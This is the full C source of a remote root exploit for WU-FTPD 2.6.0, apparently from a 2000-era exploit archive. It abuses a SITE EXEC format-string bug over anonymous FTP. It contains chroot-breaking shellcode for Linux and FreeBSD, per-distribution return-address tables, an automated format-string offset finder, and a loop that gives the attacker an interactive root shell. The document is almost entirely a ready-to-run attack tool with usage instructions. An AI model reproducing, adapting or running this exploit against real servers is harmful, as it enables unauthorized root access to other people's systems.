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wu2.6.0c.c

/*
  h0h0 aye-dee-emm's 0d4y w4r3z 1z unbr0k3n f0r y0u p30pl3 n0w
 */
/*
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 *
 *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *   by tf8
 *
 * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
 *     released (2.6.0 is the most popular version nowadays), and it
 *     should suffice to proof this vulnerability concept.
 *
 *   Site exec was never really *fixed*
 *
 *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
 *    \x90, venglin, xz, MYT and lamagra.
 *   Also greetings go to the WU-FTPD development team for including this
 *    bug in ALL their versions.
 *
 *   Fuck to wuuru (he is an idiot)
 *
 *   Account is not required, anonymous access is enough :)
 *
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
  "\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
  "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
  "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
  "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
  "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
  "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
  "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
  "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
  "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
  "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
  "\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
  "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
  "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
  "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
  "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
  "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
  "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
  "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
  "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
  "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
  "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
  "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED      4
#define MAX_MAGIC       100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets
  {
    int def;
    char *os_descr, *shellcode;
    int delay;
    u_long pass_addr, addr_ret_addr;
    int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
  };

struct targets targ[]=
    {
      {
        0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1
      },
      {1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
      {2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
      {3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
      {4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

      {5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
      {6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
      {7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
      {8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
      {0,NULL,NULL,0,0,0,{0},{0},0}
    };

void usage(char*zu,int q)
{
  int i, n, padding;
  fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
          "         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
          "target    : host with any wuftpd\nuser      : anonymous user\n"
          "dir       : if not anonymous user, you need to have writable directory\n"
          "magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
          "-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
          "ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
  for(i=0;targ[i].os_descr!=NULL;i++)
    {
      padding=0;
      fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
      if(q>1)
        {
          fprintf(stderr,"     Magic ID: [");
          for(n=0;targ[i].magic[n]!=0;n++)
            {
              if(targ[i].magic_d[n]==4)
                padding=targ[i].magic[n];
              fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
              if(targ[i].magic[n+1]!=0)
                fprintf(stderr,":");
            }
          fprintf(stderr,"] Padding: %d\n",padding);
          fflush(stderr);
        }
    }
  exit(1);
}

int connect_to_server(char*host)
{
  struct hostent *hp;
  struct sockaddr_in cl;
  int sock;

  if(host==NULL||*host==(char)0)
    {
      fprintf(stderr,"Invalid hostname\n");
      exit(1);
    }
  if((cl.sin_addr.s_addr=inet_addr(host))==-1)
    {
      if((hp=gethostbyname(host))==NULL)
        {
          fprintf(stderr,"Cannot resolve %s\n",host);
          exit(1);
        }
      memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
    }
  if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    {
      fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
      exit(1);
    }
  cl.sin_family=PF_INET;
  cl.sin_port=htons(21);
  if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1)
    {
      fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
      exit(1);
    }
  return sock;
}

int ftp_recv(int sock,char*buf,int buf_size,int disc)
{
  int n=0;
  char q;

  if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
  else
    {
      (void)bzero(buf,buf_size);
      n=recv(sock,buf,buf_size,0);
      if(n<0)
        {
          fprintf(stderr,"ftp_recv: recv failed\n");
          exit(1);
        }
      buf[n]=0;
    }
  return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size)
{
  int n;
  n=send(sock,what,size,0);
  if(n!=size)
    {
      fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
      shutdown(sock,2);
      close(sock);
      exit(1);
    }
  if(f)
    return ftp_recv(sock,ans,ans_size,0);
  return 0;
}

int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len)
{
  ftp_send(sock,buff,buff_len,q,ans,ans_len);
  if(strncmp(ans,"200-",4)==0)
    ftp_recv(sock,NULL,0,1);
  else
    ftp_recv(sock,ans,ans_len,0);

  if(strncmp(ans,"200-",4))
    {
      fprintf(stderr,"Cannot find site exec response string\n");
      exit(1);
    }
  return 0;
}

void ftp_login(int sock,char*u_name,char*u_pass)
{
  char buff[2048];
  printf("loggin into system..\n");
  snprintf(buff,2047,"USER %s\r\n", u_name);
  ftp_send(sock, buff,strlen(buff),1,buff,2047);
  printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  snprintf(buff,2047,"PASS %s\r\n",u_pass);
  printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  while(strstr(buff,"230 ")==NULL)
    {
      (void)bzero(buff,2048);
      ftp_recv(sock,buff,2048,0);
    }
  printf("%s",buff);
  return;
}

void ftp_mkchdir(int sock,char*cd,char*new)
{
  char buff[2048];

  sprintf(buff,"CWD %s\r\n",cd);
  printf(GREEN"%s"NORM,buff);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  printf("%s",buff);
  sprintf(buff,"MKD %s\r\n",new);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
  sprintf(buff,"CWD %s\r\n",new);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
  return;
}
void process_possibly_rooted(int sock)
{
  fd_set    fd_read;
  char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
  int n;

  FD_ZERO(&fd_read);
  FD_SET(sock, &fd_read);
  FD_SET(0, &fd_read);
  send(sock, cmd, strlen(cmd), 0);
  while(1)
    {
      FD_SET(sock,&fd_read);
      FD_SET(0,&fd_read);
      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sock, &fd_read) )
        {
          if((n=recv(sock,buff,sizeof(buff),0))<0)
            {
              fprintf(stderr, "EOF\n");
              exit(2);
            }
          if(write(1,buff,n)<0)break;
        }
      if ( FD_ISSET(0, &fd_read) )
        {
          if((n=read(0,buff,sizeof(buff)))<0)
            {
              fprintf(stderr,"EOF\n");
              exit(2);
            }
          if(send(sock,buff,n,0)<0) break;
        }
      usleep(10);
    }
  fprintf(stderr,"Connection aborted, select failed()\n");
  exit(0);
}

int magic_check_f(int sock, char *str)
{
  char q[2048], ans[2048];

  snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
  if( strstr( q, "\r\n") == NULL)
    {
      fprintf(stderr,"Line TOO big..\n");
      exit(-1);
    }
  ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
  if( before_len+10 < strlen(&ans[3]) ) return 0;
  before_len=strlen(&ans[3]);
  (void)strcat(str,"%.f");
  return 1;
}
int magic_check_o(int sock, char *str)
{
  char q[2048], ans[2048];
  snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  if( strstr( q, "\r\n") == NULL)
    {
      fprintf(stderr,"Line TOO big..\n");
      exit(-1);
    }
  ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
  if( before_len== strlen(&ans[3]) )
    {
      before_len+=1;
      (void)strcat(str, "%d");
      return 3;
    }
  before_len=strlen(&ans[3]);
  (void)strcat(str,"%c");
  return 2;
}

int magic_check_ok( int sock, char *str)
{
  char q[2048], ans[2048];
  int i ,n=1, f, padding=0;

  snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
  if ( strstr(q, "\r\n" ) == NULL)
    {
      fprintf(stderr, "Line too long\n");
      exit(-1);
    }
  (void)bzero(ans, 2048);
  ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
  if(strstr(ans,"0x61616161")==NULL)
    return 0;
  for(i =0; i < MAX_MAGIC && magic[i]; i++);
  magic_d[i]=4;
  while(n)
    {
      for(f=0; f< 2; f++)
        {
          snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
          (void)bzero(ans, 2048);
          ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
          if( strstr(ans, "0x61616161")!=NULL)
            {
              if (f==0)
                {
                  magic[i]=padding;
                  return 1;
                }
              else if( f==1)
                {
                  strcat(str,"%p");
                  magic[i]=padding;
                  return 1;
                }
            }
        }
      if(padding > 4)
        {
          fprintf(stderr,"Cannot calculate padding..\n");
          exit(1);
        }
      padding++;
    }
  return 1;
}


int magic_digger(int sock)
{
  int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

  if(magic_str==NULL)
    {
      if((magic_str=(char*)malloc(4092))==NULL)
        {
          perror("malloc");
          exit(errno);
        }
    }
  (void)bzero(magic_str, 4092);
  where=0;
  while(get_out)
    {
      int q;
      if( where >= MAX_MAGIC-1 || all_failed <= 0 )
        return -1;
      if( magic_check_f(sock, magic_str) )
        {
          o=0,f++;
          if(f==1)
            {
              if(!magic[where])
                magic[where]=1;
              else
                magic[++where]+=1;
              magic_d[where]=1;
            }
          else
            magic[where]+=1;
          all_failed=MAX_FAILED*2;
          printf("%s", "%.f");
          fflush(stdout);
          goto verify;
        }
      all_failed--;
      if((q=magic_check_o(sock,magic_str)))
        {
          f=0,o++;
          if(o==1)
            {
              if(!magic[where])
                magic[0]=1;
              else
                magic[++where]+=1;
              magic_d[where]=q;
            }
          else
            {
              if(magic_d[where]==q)
                magic[where]+=1;
              else
                {
                  magic[++where]=1;
                  magic_d[where]=q;
                }
            }
          all_failed=MAX_FAILED*2;
          printf("%s", q==2?"%c":"%d");
          fflush(stdout);
          goto verify;
        }
      all_failed--;
      continue;
verify:
      if(magic_check_ok(sock,magic_str))
        {
          putchar('\n');
          return 0;
        }
    }
  return 0;
}

int main(int argc, char *argv[])
{
  char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
  int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
  u_long ret_addr=0, pass_addr=0;
  for(i=0;targ[i].os_descr!=NULL;i++);
  while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF)
    {
      switch(c)
        {
        case 't':
          target=optarg;
          break;
        case 'l':
          username=optarg;
          passwd=strchr(optarg,'/');
          if(passwd==NULL)
            usage(argv[0],0);
          *passwd++=(char)0;
          break;
        case 'x':
          testmode=1;
          break;
        case 'o':
          offset=atoi(optarg);
          break;
        case 'p':
          pass_addr=strtoul(optarg, &optarg,16);
          break;
        case 'g':
          gm=1;
          break;
        case 'M':
          dir=optarg;
          mtype=1;
          break;
        case 'm':
          {
            int where=0;
            if(!*optarg)
              {
                fprintf(stderr,"-m requires argument, try -h for help\n");
                exit(1);
              }
            while(1)
              {
                magic[where]=strtoul(optarg,&optarg,16);
                optarg=strchr(optarg,',');
                if(optarg==NULL)
                  {
                    printf("comma missing\n");
                    exit(1);
                  }
                optarg++;
                magic_d[where++]=strtoul(optarg,&optarg,16);
                if(strchr(optarg,':')==NULL)
                  {
                    magic[where]=magic_d[where]=0;
                    break;
                  }
                optarg=strchr(optarg,':');
                optarg++;
              }
          }
          break;
        case 's':
          num=atoi(optarg);
          if(num>i)
            {
              fprintf(stderr,"systype too big, try -h for help\n");
              exit(1);
            }
          break;
        case 'r':
          ret_addr=strtoul(optarg,&optarg,16);
          break;
        case 'P':
          padding=atoi(optarg);
          break;
        case 'H':
          bla=2;
        default:
          usage(argv[0],bla);
          break;
        }
    }
  if(target==NULL)
    {
      fprintf(stderr,"No target specified, try -h for help\n");
      exit(1);
    }
  if(num==-1||num==-2)
    {
      for(i=0;!targ[i].def;i++);
      num=i;
    }
  (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

  if(magic[1]!=0)
    {
      memcpy((void*)getit.magic,magic,sizeof(magic));
      memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
    }

  if(ret_addr)getit.addr_ret_addr=ret_addr;
  if(pass_addr)getit.pass_addr=pass_addr;

  getit.addr_ret_addr+=(offset*4);

  sock=connect_to_server(target);
  memset(shellcode, '\x90', sizeof(shellcode));
  shellcode[sizeof(shellcode)-1]=(char)0;
  if(!mtype)
    {
      memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
      shellcode[sizeof(shellcode)-1]=(char)0;
    }
  else
    {
      memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
      shellcode[250-1]=(char)0;
    }
  printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
  printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));

  buff=(char *)malloc(1024);
  bzero(buff,1024);

  (void)ftp_recv(sock,NULL,0,1);

  (void)ftp_login(sock,username,passwd);

  if(gm||(magic_str==NULL&&getit.magic[0]==0))
    {
      printf("STEP 2A: Generating magic string: ");
      fflush(stdout);
      magic_digger(sock);
      memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
      memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
      printf("STEP 2B: MAGIC STRING: [");
    }
  else
    {
      printf("STEP 2 : Skipping, magic number already exists: [");
    }
  for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++)
    {
      printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
      if(getit.magic[i+1]!=0)
        putchar(':');
    }
  printf("]\n");
  buff=(char *)realloc(buff, 4092);
  (void)bzero(buff, 4092);
  if(mtype)
    ftp_mkchdir(sock,dir,shellcode);
  printf("STEP 3 : Checking if we can reach our return address by format string\n");
  if(!magic_str)
    {
      magic_str=(char*)malloc(2048);
      if(magic_str==NULL)
        {
          perror("malloc");
          exit(errno);
        }
      (void)bzero(magic_str,2048);
      for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++)
        {
          switch(getit.magic_d[i])
            {
            case 1:
              for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
              break;
            case 2:
              for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
              break;
            case 3:
              for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
              break;
            case 4:
              if(padding<0)padding=getit.magic[i];
              break;
            default:
              fprintf(stderr,"STEP 3: INternal error\n");
              exit(1);
              break;
            }
        }
    }
  if(padding<0)
    {
      for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
      if(num<(MAX_MAGIC-1))
        padding=getit.magic[num];
      else
        fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
    }

  if(!getit.islinux)
    {
      if(!testmode)
        snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
      else
        snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
    }
  else
    {
      if(!testmode)
        snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
      else
        snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
    }
  sleep(getit.delay);
  fflush(stdout);
  if((buff_p=(char *)malloc(4096))==NULL)
    {
      fprintf(stderr,"malloc failed.\n");
      exit(1);
    }
  (void)bzero(buff_p,4096);
  ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
  if((buff_p2=strchr(buff_p,'\r'))!=NULL)
    *buff_p2=(char)0;
  if((buff_p2=strchr(buff_p,'\n'))!=NULL)
    *buff_p2=(char)0;
  buff_p2=strstr(buff_p,"|0x");
  if(buff_p2==NULL)
    {
      fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
      exit(1);
    }
  buff_p2+=3;
  if(!testmode)
    printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
  else
    printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
  sleep(getit.delay);
  buff_p2=strstr(buff, "%.f");
  *buff_p2++=(char )0;
  strcpy(buff_p, buff);
  if(!testmode)
    sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
  else
    sprintf(buff_p+strlen(buff_p),"%s","%d%d");
  strcpy(buff_p+strlen(buff_p), buff_p2);
  buff_p2=strchr(buff_p,'|');
  buff_p2++;
  printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
  if(!testmode)
    {
      strcpy(buff_p2,"%n\r\n");
      ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
    }
  else
    {
      (void)bzero(buff,4096);
      strcpy(buff_p2,"%s\r\n");
      ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
      printf("got answer: %s\n",buff);
      exit(0);
    }
  free(buff_p);
  free(buff);
  signal(SIGINT, SIG_IGN);
  signal(SIGHUP, SIG_IGN);
  printf(RED"Press ^\\ to leave shell"NORM"\n");
  process_possibly_rooted(sock);
  return 0;
}
/*                    www.hack.co.za           [25 June 2000]*/ 

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